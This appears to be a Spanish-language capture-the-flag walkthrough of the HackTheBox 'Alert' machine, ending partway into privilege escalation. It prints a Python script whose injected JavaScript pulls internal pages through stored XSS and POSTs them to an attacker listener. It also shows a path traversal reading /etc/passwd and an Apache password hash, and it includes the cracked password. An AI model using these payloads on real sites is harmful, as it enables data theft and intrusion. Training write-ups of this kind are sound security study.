This page looks best with JavaScript enabled

HackTheBox - Alert

 •  ✍️ sckull

Alert expone una herramienta para contenido Markdown, combinando esta con las vulnerabilidades XSS y Path Traversal logramos la lectura de credenciales de un archivo de configuracion de Apache lo que nos permitio el acceso a la maquina. Escalamos privilegios tras modificar un archivo de configuracion ejecutado por un cronjob de una herramienta de monitoreo.

Nombre Alert box_img_maker
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2024-11-23
IP 10.10.11.44
Maker

FisMatHack

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [470, 499, 1767, 1569, 805, 344, 251, 58, 9, 44],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Nmap 7.95 scan initiated Thu Jan 16 17:51:30 2025 as: /usr/lib/nmap/nmap --privileged -p22,80,12227 -sV -sC -oN nmap_scan 10.10.11.44
Nmap scan report for 10.10.11.44
Host is up (0.20s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
12227/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 16 17:51:43 2025 -- 1 IP address (1 host up) scanned in 13.23 seconds

Web Site

El sitio web nos redirige al dominio alert.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.10.11.44
HTTP/1.1 301 Moved Permanently
Date: Thu, 16 Jan 2025 22:58:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://alert.htb/
Content-Type: text/html; charset=iso-8859-1

El sitio web muestra la funcionalidad de visualizar archivos tipo Markdown.

image

Ademas vemos que al cambiar de paginas unicamente cambia el parametro page (index.php?page=).

image

Directory Brute Forcing

feroxbuster muestra multiples paginas y directorios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ feroxbuster -u http://alert.htb -x php
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://alert.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET       23l       48w      660c http://alert.htb/index.php => index.php?page=alert
200      GET        1l        3w       24c http://alert.htb/contact.php
301      GET        9l       28w      308c http://alert.htb/uploads => http://alert.htb/uploads/
301      GET        9l       28w      304c http://alert.htb/css => http://alert.htb/css/
200      GET      182l      385w     3622c http://alert.htb/css/style.css
302      GET       23l       48w      660c http://alert.htb/ => index.php?page=alert
301      GET        9l       28w      309c http://alert.htb/messages => http://alert.htb/messages/
200      GET        1l        0w        1c http://alert.htb/messages.php
200      GET      182l      385w     3622c http://alert.htb/css/style

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio statistics.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.alert.htb" -u http://alert.htb -fl 10

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://alert.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.alert.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 10
________________________________________________

statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 85ms]

Sin embargo este subdominio requiere de credenciales para acceder al contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ curl statistics.alert.htb
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at statistics.alert.htb Port 80</address>
</body></html>

Web App

En la pagina de ‘Mark Viewer’ podemos observar el contenido de un archivo subido y ademas este nos crea una direccion url.

image

Como se observa en el contenido el codigo es “codificado” por lo que no es posible ejecutar codigo PHP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
❯ curl -sI 'http://alert.htb/visualizer.php?link_share=6789bd8a9130a9.12362701.md'
HTTP/1.1 200 OK
Date: Fri, 17 Jan 2025 02:18:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8

❯ curl -s 'http://alert.htb/visualizer.php?link_share=6789bd8a9130a9.12362701.md'
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Alert - Markdown Viewer</title>
    <link rel="stylesheet" href="css/style.css">
    <style>
        .share-button {
            position: fixed;
            bottom: 20px;
            right: 20px;
            background-color: rgb(100, 100, 100);
            color: #fff;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>title1</h1>
<h2>tittle 2</h2>
<h3>tittle 3</h3>
<p>&lt;?php echo("s1s2");&gt;</p>
<p><code>ae</code></p></body>
</html>

En la pagina ‘About Us’ menciona que se realiza una revision a todos los mensajes de contacto.

image

En la pagina ‘Contact Us’ rellenamos el formulario y lo enviamos, agregando una etiqueta script para solicitar un recurso a nuestro servidor http.

image
image

En nuestro servidor observamos que se realizo una solicitud, ademas confirmando lo que se menciona en ‘About Us’.

1
2
3
4
5
❯ httphere .
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.44 - - [16/Jan/2025 21:13:31] code 404, message File not found
10.10.11.44 - - [16/Jan/2025 21:13:31] "GET /a'&gt;&lt;/script&gt; HTTP/1.1" 404 -

Por otra parte, observamos que las paginas trabajan con el parametro page (/index.php?page=contact, /index.php?page=donate, ...), encontramos que no podemos acceder a la pagina messages.php y al directorio /uploads/, es probable que unicamente el administrador pueda acceder a este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
❯ curl -sI http://alert.htb/messages.php
HTTP/1.1 200 OK
Date: Fri, 17 Jan 2025 02:32:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8

❯ curl -s http://alert.htb/messages.php

❯ curl -s http://alert.htb/uploads/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at alert.htb Port 80</address>
</body></html>

XSS + Path Traversal

A traves del formulario ‘Contact Us’ intentamos ejecutar codigo javascript sin embargo al intentar ingresar mas codigo o ejecutar codigo externo no funcionaba.

1
2
3
4
5
6
10.10.11.44 - - [16/Jan/2025 21:46:41] code 404, message File not found
10.10.11.44 - - [16/Jan/2025 21:46:41] "GET /ex.js&quot;&gt;&lt;/script&gt; HTTP/1.1" 404 -
10.10.11.44 - - [16/Jan/2025 21:47:04] code 404, message File not found
10.10.11.44 - - [16/Jan/2025 21:47:04] "GET /ex.js&quot;/&gt; HTTP/1.1" 404 -
10.10.11.44 - - [16/Jan/2025 21:47:12] code 404, message File not found
10.10.11.44 - - [16/Jan/2025 21:47:12] "GET /ex.js&quot;/&gt; HTTP/1.1" 404 -

Existe una alternativa para agregar mas codigo, la funcionalidad Markdow viewer, si observamos un simple console.log no se ve “afectado” a diferencia de codigo PHP y tambien, este nos crea una direccion URL.

1
2
3
4
5
6
7
8
<body>
    <h1>title1</h1>
<h2>tittle 2</h2>
<h3>tittle 3</h3>
<script>
console.log("hello");
</script><a class="share-button" href="http://alert.htb/visualizer.php?link_share=6789c5947044c6.75537782.md" target="_blank">Share Markdown</a></body>
</html>

Intentamos realizar una solicitud a nuestro servidor http enviando la direccion URL de nuestro contenido javascript por el formulario. Iniciando con la creacion del archivo markdown y subiendolo al sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ cat mark.md
<script>
fetch('http://10.10.15.23/bigfish')
  .then(response => response.text())
  .then(data => {
    console.log('content',data);
  })
  .catch(error => {
    console.error('Error fetching data:', error);
  });
</script>

Este nos devuelve una direccion URL la cual enviamos en el formulario.

image

En el lado de nuestro servidor observamos la solicitud desde el servidor.

1
2
3
[...]
10.10.11.44 - - [16/Jan/2025 22:05:39] code 404, message File not found
10.10.11.44 - - [16/Jan/2025 22:05:39] "GET /bigfish HTTP/1.1" 404 -

Ahora que podemos realizar solicitudes por Javascript, automatizamos el envio del archivo y el formulario en un pequeno script con Python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3

import requests, sys
from bs4 import BeautifulSoup

def send_markdown(file):
    
    files = {'file':('file.md', file)}
    r = requests.post(url+'/visualizer.php', files=files, proxies=proxies)
    if r.status_code == 200:
        soup = BeautifulSoup(r.text, 'html.parser')
        href_tags = soup.find_all(['a', 'link'])
        print("MD URL: " + href_tags[-1].get('href'))
        return href_tags[-1].get('href')
    else:
        print(f'Failed to upload file. Status code: {r.status_code}')
        sys.exit(0)

def send_contact(mdurl):    
    data= {'email':'sckull@htb.eu', 'message': '<script src="'+ mdurl +'"></script>'}
    r = requests.post(url+'/contact.php', data=data, proxies=proxies)

if __name__ == "__main__":    

    if len(sys.argv) != 2:
        print("[*] Run:\n\tscript.py /index.php?page=messages")
        sys.exit(1)

    url = 'http://alert.htb'
    proxies = {'http': '127.0.0.1:8080'}
    route = sys.argv[1]

    js = """
<script>
fetch('http://alert.htb/"""+route+"""')
    .then(response => response.text())
    .then(data => {        
        return fetch('http://10.10.15.23:8000', {
            method: 'POST',
            headers: {'Content-Type': 'text/plain',},
            body: data,
        });
    })
    .then(response => response.text())
    .then(data => {
        console.log(1);
    })
    .catch(error => {
        console.error(2);
    });
</script>
"""
    print("Trying route: " + route)
    md_url = send_markdown(js)
    send_contact(md_url)
1
2
3
4
❯ python script.py '/index.php?page=messages'
Trying route: /index.php?page=messages
MD URL: http://alert.htb/visualizer.php?link_share=67df3f6a6ec892.84629882.md

Nuestro archivo markdown realiza una solicitud a la pagina messages y el contenido que este tenga se envia a un puerto especifico de nuestra maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<!-- Contenido de : http://alert.htb/visualizer.php?link_share=67df3f6a6ec892.84629882.md -->
<body>
    <script>
fetch('http://alert.htb//index.php?page=message')
    .then(response => response.text())
    .then(data => {        
        return fetch('http://10.10.14.101:8000', {
            method: 'POST',
            headers: {'Content-Type': 'text/plain',},
            body: data,
        });
    })
    .then(response => response.text())
    .then(data => {
        console.log(1);
    })
    .catch(error => {
        console.error(2);
    });
</script></body>
</html>

En el puerto 8000 con netcat a la escucha observamos una solicitud donde observamos el codigo fuente html de la pagina messages, se muestra un archivo de texto en la ruta messages.php?file=2024-03-10_15-48-34.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
❯ nc -lvvp 8000
listening on [any] 8000 ...
connect to [10.10.15.23] from alert.htb [10.10.11.44] 60474
POST / HTTP/1.1
Host: 10.10.15.23:8000
Connection: keep-alive
Content-Length: 821
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Content-Type: text/plain
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/style.css">
    <title>Alert - Markdown Viewer</title>
</head>
<body>
    <nav>
        <a href="index.php?page=alert">Markdown Viewer</a>
        <a href="index.php?page=contact">Contact Us</a>
        <a href="index.php?page=about">About Us</a>
        <a href="index.php?page=donate">Donate</a>
        <a href="index.php?page=messages">Messages</a>    </nav>
    <div class="container">
        <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
    </div>
    <footer>
        <p style="color: black;"2024 Alert. All rights reserved.</p>
    </footer>
</body>
</html>

 sent 0, rcvd 1162

Modificamos la direccion en la ejecucion de nuestro script apunando a messages.php?file=2024-03-10_15-48-34.txt y, observamos que el contenido del archivo es una etiqueta html o el archivo esta vacio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ nc -lvvp 8000
listening on [any] 8000 ...
connect to [10.10.15.23] from alert.htb [10.10.11.44] 52270
POST / HTTP/1.1
Host: 10.10.15.23:8000
Connection: keep-alive
Content-Length: 12
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Content-Type: text/plain
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate

<pre></pre>
 sent 0, rcvd 352

El archivo de texto que encontramos esta vacio y, la pagina acepta nombres de archivos, agregamos el archivo /etc/passwd agregando ../ hasta alcanzar el archivo.

1
2
3
4
❯ python3 script.py "messages.php?file=../../../../../../../etc/passwd"
Trying route: messages.php?file=../../../../../../../etc/passwd
MD URL: http://alert.htb/visualizer.php?link_share=6789d6c69b2215.12829555.md

Observamos el contenido de este en netcat.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
❯  nc -lvvp 8000
listening on [any] 8000 ...
connect to [10.10.15.23] from alert.htb [10.10.11.44] 40666
POST / HTTP/1.1
Host: 10.10.15.23:8000
Connection: keep-alive
Content-Length: 1960
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Content-Type: text/plain
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate

<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>
 sent 0, rcvd 2302

Asi tambien logramos obtener el codigo fuene de index.php y messages.php, en donde observamos que unicamente pueden acceder usuarios del localhost en este ultimo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/style.css">
    <title>Alert - Markdown Viewer</title>
</head>
<body>
    <nav>
        <a href="index.php?page=alert">Markdown Viewer</a>
        <a href="index.php?page=contact">Contact Us</a>
        <a href="index.php?page=about">About Us</a>
        <a href="index.php?page=donate">Donate</a>
        <?php
        $ip = $_SERVER['REMOTE_ADDR'];
        if ($ip == '127.0.0.1' || $ip == '::1') {
            echo '<a href="index.php?page=messages">Messages</a>';
        }
        ?>
    </nav>
    <div class="container">
        <?php
        if (isset($_GET['page'])) {
            $page = $_GET['page'];

            switch ($page) {
                case 'alert':
    echo '<h1>Markdown Viewer</h1>';
    echo '<div class="form-container">
            <form action="visualizer.php" method="post" enctype="multipart/form-data">
                <input type="file" name="file" accept=".md" required>
                <input type="submit" value="View Markdown">
            </form>
          </div>';
                    break;
                case 'contact':
echo '<h1>Contact Us</h1>';
echo '<div class="form-container">' . htmlspecialchars($_GET['status']) .
      '  <form action="contact.php" method="post">
            <input type="email" name="email" placeholder="Your email" required>
            <textarea name="message" placeholder="Your message" rows="4" required></textarea>
            <input type="submit" value="Send">
        </form>
      </div>';

                    break;
                case 'about':
                    echo '<h1>About Us</h1>';
                    echo '<p>Hello! We are Alert. Our service gives you the ability to view MarkDown. We are reliable, secure, fast and easy to use. If you experience any problems with our service, please let us know. Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours. Thank you for using our service!</p>';
                    break;
                case 'messages':
                    require 'messages.php';
                    break;
                case 'donate':
                    echo '<h1>Support Us</h1>';
                    echo '<p>Your donation helps improve Markdown visualization, providing a better user experience for everyone.</p>';
                    echo '<div class="form-container">
                            <form action="#" method="post">
                                <input type="number" name="amount" placeholder="Enter amount" required>
                                <input type="submit" value="Donate">
                            </form>
                          </div>';
                    break;
                default:
                    echo '<h1>Error: Page not found</h1>';
                    break;
            }
        } else {
            header("Location: index.php?page=alert");
        }
        ?>
    </div>
    <footer>
        <p style="color: black;">© 2024 Alert. All rights reserved.</p>
    </footer>
</body>
</html>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == '127.0.0.1' || $ip == '::1') {
    $directory = "messages/";

    $messages = glob($directory . "*.txt");

    if (isset($_GET['file'])) {
        $file = $_GET['file'];
        echo "<pre>" . file_get_contents($directory . $file) . "</pre>";
    } else {
        echo "<h1>Messages</h1>";
        if (count($messages) > 0) {
            echo "<ul>";
            foreach ($messages as $message) {
                $filename = basename($message);
                echo "<li><a href='messages.php?file=$filename'>$filename</a></li>";
            }
            echo "</ul>";
        } else {
            echo "No messages found.";
        }
    }
}
?>

User - Albert

Realizando enumeracion de archivos, encontramos la configuracion de apache /etc/apache2/sites-enabled/000-default.conf, donde observamos la direccion del archivo .httpasswd para el subdominio statistics.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

El contenido del archivo mencionado son las credenciales de acceso a este subdominio.

1
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

Cracking the Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ john hash_albert --wordlist=$ROCK --format=md5crypt-long
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (albert)     
1g 0:00:00:00 DONE (2025-01-16 23:25) 1.694g/s 4772p/s 4772c/s 4772C/s meagan..medicina
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

statistics

Utilizamos las credenciales en el subdominio y unicamente se muestran graficos y no existe alguna otra funcionalidad.

image

Shell

Con la contrasena crackeada logramos acceder por ssh y obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(kali㉿kali)-[~/htb/alert]
└─$ ssh albert@alert.htb # manchesterunited
albert@alert.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 17 Jan 2025 04:29:20 AM UTC

  System load:           0.0
  Usage of /:            73.0% of 5.03GB
  Memory usage:          28%
  Swap usage:            0%
  Processes:             263
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.44
  IPv6 address for eth0: dead:beef::250:56ff:feb0:80c6


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Jan 17 04:29:21 2025 from 10.10.15.23
albert@alert:~$ whoami;id;pwd
albert
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
/home/albert
albert@alert:~$ cat user.txt
2b26f4254b3cf43ebbf74c3fefc6f0c9
albert@alert:~$

Privesc

Observamos que el usuario root ejecutando multiples procesos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
albert@alert:~$  ps -ef | grep root
root           1       0  0 04:34 ?        00:00:02 /sbin/init maybe-ubiquity
root           2       0  0 04:34 ?        00:00:00 [kthreadd]
root           3       2  0 04:34 ?        00:00:00 [rcu_gp]
root           4       2  0 04:34 ?        00:00:00 [rcu_par_gp]
[...]
root        1013    1001  0 04:35 ?        00:00:00 /usr/sbin/CRON -f
root        1017       1  0 04:35 ?        00:00:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
root        1022       1  0 04:35 ?        00:00:00 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        1025       1  0 04:35 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        1026    1013  0 04:35 ?        00:00:00 /bin/sh -c /root/scripts/xss_bot.sh
root        1027    1012  0 04:35 ?        00:00:00 /bin/sh -c /root/scripts/php_bot.sh
root        1028    1026  0 04:35 ?        00:00:00 /bin/bash /root/scripts/xss_bot.sh
root        1029    1027  0 04:35 ?        00:00:00 /bin/bash /root/scripts/php_bot.sh
root        1030    1029  0 04:35 ?        00:00:00 inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
root        1031    1029  0 04:35 ?        00:00:00 /bin/bash /root/scripts/php_bot.sh
root        1032    1028  0 04:35 ?        00:00:00 inotifywait -m -e create --format %w%f %e /var/www/alert.htb/messages --exclude 2024-03-10_15-48-34.txt
root        1033    1028  0 04:35 ?        00:00:00 /bin/bash /root/scripts/xss_bot.sh
root        1049       1  0 04:35 tty1     00:00:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root        1060       1  0 04:35 ?        00:00:00 /usr/sbin/apache2 -k start
root        1211       2  0 04:40 ?        00:00:00 [kworker/1:0-events]
root        1270    1025  0 04:41 ?        00:00:00 sshd: albert [priv]
root        1438       2  0 04:41 ?        00:00:00 [kworker/u256:1-events_unbound]
root        1751    1031  0 04:46 ?        00:00:00 /usr/bin/sleep 3
albert      1753    1421  0 04:46 pts/0    00:00:00 grep --color=auto root
albert@alert:~$ 

Se ejecuta un sitio web en el puerto 8080 localmente, segun la documentacion es un sitio para monitoreo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
albert@alert:/opt/website-monitor$ ls -lah
total 96K
drwxrwxr-x 7 root root       4.0K Oct 12 01:07 .
drwxr-xr-x 4 root root       4.0K Oct 12 00:58 ..
drwxrwxr-x 2 root management 4.0K Oct 12 04:17 config
drwxrwxr-x 8 root root       4.0K Oct 12 00:58 .git
drwxrwxr-x 2 root root       4.0K Oct 12 00:58 incidents
-rwxrwxr-x 1 root root       5.2K Oct 12 01:00 index.php
-rwxrwxr-x 1 root root       1.1K Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root       1.5K Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root       4.0K Oct 12 01:07 monitors
-rwxrwxr-x 1 root root        104 Oct 12 01:07 monitors.json
